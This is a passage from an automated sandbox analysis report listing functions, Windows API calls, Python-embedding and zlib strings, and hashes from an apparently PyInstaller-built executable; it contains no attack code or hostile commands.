Instruction Fuzzy Hash: 98E08C51F0920347F7F03AAB498A6FA1350CF99308F5140F4FA08CA2C3DDAC6C547220

Function 00007FF6929FFDA4 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF6929FC1CA,?,?,?,00007FF6929F5DF1,?,?,?,?,00007FF6929FB332), ref: 00007FF6929FFDF9

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: c31ce9282523e7e70075863a15ee72f4cf677a1c6170370e1c64cff724d2af1b
Instruction ID: c309d7d253a1a0427e4a5d7648d3fcaf959894c7f708745906c16a91642d63da
Opcode Fuzzy Hash: c31ce9282523e7e70075863a15ee72f4cf677a1c6170370e1c64cff724d2af1b
Instruction Fuzzy Hash: 45F06D42B0920385FFB85B6399103F64390DF8AB88F4844B0ED0EC62D3FE9CE8809220

Function 00007FF6929FE664 Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF6929F0208,?,?,?,00007FF6929F1872,?,?,?,?,?,00007FF6929F4535), ref: 00007FF6929FE6A2

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 3c31cf8336a648e9ecfad8ff9b709a6d49b8502715341f1fffc2c41753e32efa
Instruction ID: b16711904ec3da46145d0c7bbc50dad81b4aa9906670fc14f4e54e9f30fdd795
Opcode Fuzzy Hash: 3c31cf8336a648e9ecfad8ff9b709a6d49b8502715341f1fffc2c41753e32efa
Instruction Fuzzy Hash: 41F0FE52E1920A45FAB46B6369012BA1390DF89BB8F4946B0ED6EC52C3DE9CA850A611

Non-executed Functions

Function 00007FF6929E4C50 Relevance: 229.6, APIs: 86, Strings: 45, Instructions: 400libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,00007FF6929E591F,00000000,00007FF6929E272E), ref: 00007FF6929E4C60
GetLastError.KERNEL32(?,00007FF6929E591F,00000000,00007FF6929E272E), ref: 00007FF6929E4C72
GetProcAddress.KERNEL32(?,00007FF6929E591F,00000000,00007FF6929E272E), ref: 00007FF6929E4CA9
GetLastError.KERNEL32(?,00007FF6929E591F,00000000,00007FF6929E272E), ref: 00007FF6929E4CBB
GetProcAddress.KERNEL32(?,00007FF6929E591F,00000000,00007FF6929E272E), ref: 00007FF6929E4CD4
GetLastError.KERNEL32(?,00007FF6929E591F,00000000,00007FF6929E272E), ref: 00007FF6929E4CE6
GetProcAddress.KERNEL32(?,00007FF6929E591F,00000000,00007FF6929E272E), ref: 00007FF6929E4CFF
GetLastError.KERNEL32(?,00007FF6929E591F,00000000,00007FF6929E272E), ref: 00007FF6929E4D11
GetProcAddress.KERNEL32(?,00007FF6929E591F,00000000,00007FF6929E272E), ref: 00007FF6929E4D2D
GetLastError.KERNEL32(?,00007FF6929E591F,00000000,00007FF6929E272E), ref: 00007FF6929E4D3F
GetProcAddress.KERNEL32(?,00007FF6929E591F,00000000,00007FF6929E272E), ref: 00007FF6929E4D5B
GetLastError.KERNEL32(?,00007FF6929E591F,00000000,00007FF6929E272E), ref: 00007FF6929E4D6D
GetProcAddress.KERNEL32(?,00007FF6929E591F,00000000,00007FF6929E272E), ref: 00007FF6929E4D89
GetLastError.KERNEL32(?,00007FF6929E591F,00000000,00007FF6929E272E), ref: 00007FF6929E4D9B
GetProcAddress.KERNEL32(?,00007FF6929E591F,00000000,00007FF6929E272E), ref: 00007FF6929E4DB7
GetLastError.KERNEL32(?,00007FF6929E591F,00000000,00007FF6929E272E), ref: 00007FF6929E4DC9
GetProcAddress.KERNEL32(?,00007FF6929E591F,00000000,00007FF6929E272E), ref: 00007FF6929E4DE5
GetLastError.KERNEL32(?,00007FF6929E591F,00000000,00007FF6929E272E), ref: 00007FF6929E4DF7

Strings

Py_ExitStatusException, xrefs: 00007FF6929E4CCA, 00007FF6929E4CEC
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF6929E51FD, 00007FF6929E521F
PyConfig_SetBytesString, xrefs: 00007FF6929E4E37, 00007FF6929E4E59
PyObject_CallFunctionObjArgs, xrefs: 00007FF6929E5145, 00007FF6929E5167
PyImport_AddModule, xrefs: 00007FF6929E5003, 00007FF6929E5025
Py_PreInitialize, xrefs: 00007FF6929E4D7F, 00007FF6929E4DA1
PyErr_Occurred, xrefs: 00007FF6929E4F4B, 00007FF6929E4F6D
Failed to get address for %hs, xrefs: 00007FF6929E4C81
PySys_SetObject, xrefs: 00007FF6929E52B5, 00007FF6929E52D7
PyErr_Print, xrefs: 00007FF6929E4F79, 00007FF6929E4F9B
PyErr_NormalizeException, xrefs: 00007FF6929E4F1D, 00007FF6929E4F3F
PyImport_ExecCodeModule, xrefs: 00007FF6929E5031, 00007FF6929E5053
PyObject_SetAttrString, xrefs: 00007FF6929E51A1, 00007FF6929E51C3
Py_IsInitialized, xrefs: 00007FF6929E4D51, 00007FF6929E4D73
Py_Finalize, xrefs: 00007FF6929E4CF5, 00007FF6929E4D17
PyMem_RawFree, xrefs: 00007FF6929E50BB, 00007FF6929E50DD
PyUnicode_DecodeFSDefault, xrefs: 00007FF6929E533F, 00007FF6929E5361
PyErr_Restore, xrefs: 00007FF6929E4FA7, 00007FF6929E4FC9
PyUnicode_FromFormat, xrefs: 00007FF6929E536D, 00007FF6929E538F
PyEval_EvalCode, xrefs: 00007FF6929E4FD5, 00007FF6929E4FF7
PyUnicode_Decode, xrefs: 00007FF6929E5311, 00007FF6929E5333
PyRun_SimpleStringFlags, xrefs: 00007FF6929E522B, 00007FF6929E524D
PyConfig_Read, xrefs: 00007FF6929E4E09, 00007FF6929E4E2B
PySys_GetObject, xrefs: 00007FF6929E5287, 00007FF6929E52A9
PyUnicode_FromString, xrefs: 00007FF6929E539B, 00007FF6929E53BD
PyConfig_Clear, xrefs: 00007FF6929E4DAD, 00007FF6929E4DCF
PyUnicode_Replace, xrefs: 00007FF6929E53F7, 00007FF6929E5419
PyObject_CallFunction, xrefs: 00007FF6929E5117, 00007FF6929E5139
PyObject_Str, xrefs: 00007FF6929E51CF, 00007FF6929E51F1
PyModule_GetDict, xrefs: 00007FF6929E50E9, 00007FF6929E510B
PyConfig_InitIsolatedConfig, xrefs: 00007FF6929E4DDB, 00007FF6929E4DFD
PyImport_ImportModule, xrefs: 00007FF6929E505F, 00007FF6929E5081
PyUnicode_AsUTF8, xrefs: 00007FF6929E52E3, 00007FF6929E5305
PyConfig_SetWideStringList, xrefs: 00007FF6929E4E93, 00007FF6929E4EB5
Py_InitializeFromConfig, xrefs: 00007FF6929E4D23, 00007FF6929E4D45
PyErr_Clear, xrefs: 00007FF6929E4EC1, 00007FF6929E4EE3
Py_DecRef, xrefs: 00007FF6929E4C56, 00007FF6929E4C78
PyMarshal_ReadObjectFromString, xrefs: 00007FF6929E508D, 00007FF6929E50AF
PyStatus_Exception, xrefs: 00007FF6929E5259, 00007FF6929E527B
PyUnicode_Join, xrefs: 00007FF6929E53C9, 00007FF6929E53EB
Py_DecodeLocale, xrefs: 00007FF6929E4C9F, 00007FF6929E4CC1
GetProcAddress, xrefs: 00007FF6929E4C88
PyErr_Fetch, xrefs: 00007FF6929E4EEF, 00007FF6929E4F11
PyObject_GetAttrString, xrefs: 00007FF6929E5173, 00007FF6929E5195
PyConfig_SetString, xrefs: 00007FF6929E4E65, 00007FF6929E4E87

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 199729137-653951865
Opcode ID: d85cd9fcf26276e168e517ee9abf5ede364ec1e9effdf9a011e7fffbe194a537
Instruction ID: ee1be4bea51cce0ff3f0041d6f97c353031980b8f845eb959af0d4ef59bdaa4a
Opcode Fuzzy Hash: d85cd9fcf26276e168e517ee9abf5ede364ec1e9effdf9a011e7fffbe194a537
Instruction Fuzzy Hash: CA229172D89F0792FB78AF65B9486B423A0FF1A74DB8414B5D40E86261EFFCB459D200

Function 00007FF692A052BC Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1226COMMON

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FF692A0530A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF692A05976
_invalid_parameter_noinfo.LIBCMT ref: 00007FF692A05AEC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF692A05DAA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF692A05FCA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF692A06207
memcpy_s.LIBCPMT ref: 00007FF692A062E2
memcpy_s.LIBCPMT ref: 00007FF692A0638D
memcpy_s.LIBCPMT ref: 00007FF692A0645C

Strings

1#INF, xrefs: 00007FF692A05433
1#QNAN, xrefs: 00007FF692A05423
1#IND, xrefs: 00007FF692A053F7
1#SNAN, xrefs: 00007FF692A0541A

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 808467561-2761157908
Opcode ID: dcc314a457104bdb667cbbd9859ad8e9c2a847357f7a40157f721af0dd0c9056
Instruction ID: ecb44a007cedd67151b9182b31572f667289e814b1e37df710b03bfba261e380
Opcode Fuzzy Hash: dcc314a457104bdb667cbbd9859ad8e9c2a847357f7a40157f721af0dd0c9056
Instruction Fuzzy Hash: AEB2AD73E582828BF7758F65D940BFD37A1FB4678CF405175DA0A97A84DFB8AA008B40

Function 00007FF6929EA20D Relevance: 12.0, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

invalid distances set, xrefs: 00007FF6929EA700
invalid literal/length code, xrefs: 00007FF6929EA942
invalid distance too far back, xrefs: 00007FF6929EABD0
invalid distance code, xrefs: 00007FF6929EAB14
invalid literal/lengths set, xrefs: 00007FF6929EA693
too many length or distance symbols, xrefs: 00007FF6929EA3A6
invalid bit length repeat, xrefs: 00007FF6929EA5F9
invalid code -- missing end-of-block, xrefs: 00007FF6929EA626
invalid code lengths set, xrefs: 00007FF6929EA38D

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID:
String ID: invalid bit length repeat$invalid code -- missing end-of-block$invalid code lengths set$invalid distance code$invalid distance too far back$invalid distances set$invalid literal/length code$invalid literal/lengths set$too many length or distance symbols
API String ID: 0-2665694366
Opcode ID: b821f53a202d8d869612a2403107f568f7f04b6f9c6dbaa081d11706b55d0279
Instruction ID: a9f8a08d1dec4b9fad8bd9fcc4dece58509b5e3273c4883d321976a02d0c0ed3
Opcode Fuzzy Hash: b821f53a202d8d869612a2403107f568f7f04b6f9c6dbaa081d11706b55d0279
Instruction Fuzzy Hash: 1E520472A186A68BF7A48F15C458BBE3BA9FB44348F014179EA4AC7791DF7DD844CB00

Function 00007FF6929EC69C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF6929EC6B8
RtlCaptureContext.KERNEL32 ref: 00007FF6929EC6E5
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6929EC6FF
RtlVirtualUnwind.KERNEL32 ref: 00007FF6929EC740
IsDebuggerPresent.KERNEL32 ref: 00007FF6929EC794
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6929EC7B1
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6929EC7BC

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 4c3f9a964b5662b5dbbc0689ef1495c1f66ffbf8daaed71a8dc58c0a28c42fd7
Instruction ID: d519b0632a61c3aa77758cfc235c8f88ed80c5fedf7e60576d3803984911ad22
Opcode Fuzzy Hash: 4c3f9a964b5662b5dbbc0689ef1495c1f66ffbf8daaed71a8dc58c0a28c42fd7
Instruction Fuzzy Hash: FD311C73608A8186FB709F61E8507EE7364FB89748F44443ADA4D87B95EFB8D648C710

Function 00007FF6929FB4F8 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF6929FB571
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6929FB589
RtlVirtualUnwind.KERNEL32 ref: 00007FF6929FB5C4
IsDebuggerPresent.KERNEL32 ref: 00007FF6929FB5FD
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6929FB607
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6929FB612

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: c2ba82a54335b4e9d04d7430b1e7b135fe56bba1662feab656e26de9ce49381a
Instruction ID: 2a8c031a1b65c9ddb2e040cc1bd4fe2b29ae71979e345d62cd144e0be7fdc643
Opcode Fuzzy Hash: c2ba82a54335b4e9d04d7430b1e7b135fe56bba1662feab656e26de9ce49381a
Instruction Fuzzy Hash: 9F317C33608F8186EB708F25E8502AE77A0FB89758F500136EA9D83B99DF7CC545CB00

Function 00007FF692A02A84 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF692A02AD0
FindFirstFileExW.KERNEL32 ref: 00007FF692A02BDA

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: 167224c4b3cc4c3efdc91e29f9533d8029eb5d88ba9d1f4f684eee253c955cc6
Instruction ID: 32bc1c78434a052d25c2e6a61a96853f9757ba9d9c0f033f2f4d5173830cde65
Opcode Fuzzy Hash: 167224c4b3cc4c3efdc91e29f9533d8029eb5d88ba9d1f4f684eee253c955cc6
Instruction Fuzzy Hash: 20B1C423B5879241FB719F2298106BA6760EB56BE8F444172EE5E87BC5DEBCE841C700

Function 00007FF6929EC580 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF6929EC5AC
GetCurrentThreadId.KERNEL32 ref: 00007FF6929EC5BA
GetCurrentProcessId.KERNEL32 ref: 00007FF6929EC5C6
QueryPerformanceCounter.KERNEL32 ref: 00007FF6929EC5D6

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: d3533d9dc536a73865986143b90d72cf7f467817cff5a9e1fc853e7b0dbb7422
Instruction ID: 0fc15be6298a02d69addb9769baaa9d559227e9287b0cc5ac5bb30abde8c16c7
Opcode Fuzzy Hash: d3533d9dc536a73865986143b90d72cf7f467817cff5a9e1fc853e7b0dbb7422
Instruction Fuzzy Hash: 9F114837B59F028AFB109F61E8442B833A4FB29758F040E35DA6D867A4DFB8D1988340

Function 00007FF692A04E20 Relevance: 4.8, APIs: 3, Instructions: 340COMMON

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 00007FF692A04E86
memcpy_s.LIBCPMT ref: 00007FF692A04EB1

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: b41cb84a548d2e61bdeb7bb10330278f5fecde395d7a0ce6ff99175555b28b3c
Instruction ID: 12a6256c79eedc25e5c33cc4ae381fedca0b82c4b2c2cafe1df228268d8e4da7
Opcode Fuzzy Hash: b41cb84a548d2e61bdeb7bb10330278f5fecde395d7a0ce6ff99175555b28b3c
Instruction Fuzzy Hash: B8C1F573B5828687E734CF59A44467AB791FB89B88F448135DB4A83B84DF7DE805CB40

Function 00007FF6929E99DB Relevance: 4.1, Strings: 3, Instructions: 397COMMON

Download Yara Rule

Strings

unknown header flags set, xrefs: 00007FF6929E9A25
, xrefs: 00007FF6929E9ABB
header crc mismatch, xrefs: 00007FF6929E9E81

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID:
String ID: $header crc mismatch$unknown header flags set
API String ID: 0-1127688429
Opcode ID: 69f7c752826ced8c5928def6f82431f123fb005599f15c6df2b2ad3acda2252f
Instruction ID: ea4596668aa3d0d4a4a35c630b3dc61b310e79aae56105086bc09f1c9f30a99d
Opcode Fuzzy Hash: 69f7c752826ced8c5928def6f82431f123fb005599f15c6df2b2ad3acda2252f
Instruction Fuzzy Hash: 44F16672A183D58AF7B59B1AC088A3E3BA9FF45748F054578EA4D97392CFB8D940C740

Function 00007FF692A0A938 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF692A0AB87
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF6929E2BC5), ref: 00007FF692A0AB98

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: cc6ff36f15a987c5b1bf507e00e0aa7011c6f5d0d309d4bd8392734804a295b4
Instruction ID: 82cb205ef8fe2febc78189c679cd6c19597329dcff784604971d18ea727db2cc
Opcode Fuzzy Hash: cc6ff36f15a987c5b1bf507e00e0aa7011c6f5d0d309d4bd8392734804a295b4
Instruction Fuzzy Hash: B7B15A73A04B898BEB25CF29C8463687BA0F785B8CF158961DB5D837A5CF79D851C700

Function 00007FF6929F43F0 Relevance: 2.8, Strings: 2, Instructions: 350COMMON

Download Yara Rule

Strings

, xrefs: 00007FF6929F47A0
, xrefs: 00007FF6929F455E

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156412753.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-227171996
Opcode ID: 0021d0b55369085dcf1ff5482033bdc548e1137304a7c6608840e23669f70ad1
Instruction ID: ad0756c5f209e823c0b676de01c5c2719ff245e83196d00d47ae17f8ae67469d
Opcode Fuzzy Hash: 0021d0b55369085dcf1ff5482033bdc548e1137304a7c6608840e23669f70ad1
Instruction Fuzzy Hash: 87E1D672A0864642FBB88E2780502BE33A0FF45B5CF146175EB0E87796DF69EC59E740

Function 00007FF6929E983B Relevance: 2.7, Strings: 2, Instructions: 218COMMON

Download Yara Rule

Strings

invalid window size, xrefs: 00007FF6929E99A9
incorrect header check, xrefs: 00007FF6929E99C2

Memory Dump Source

Source File: 00000000.00000002.2156221336.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000000.00000002.2155591125.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156257166.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156289156.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
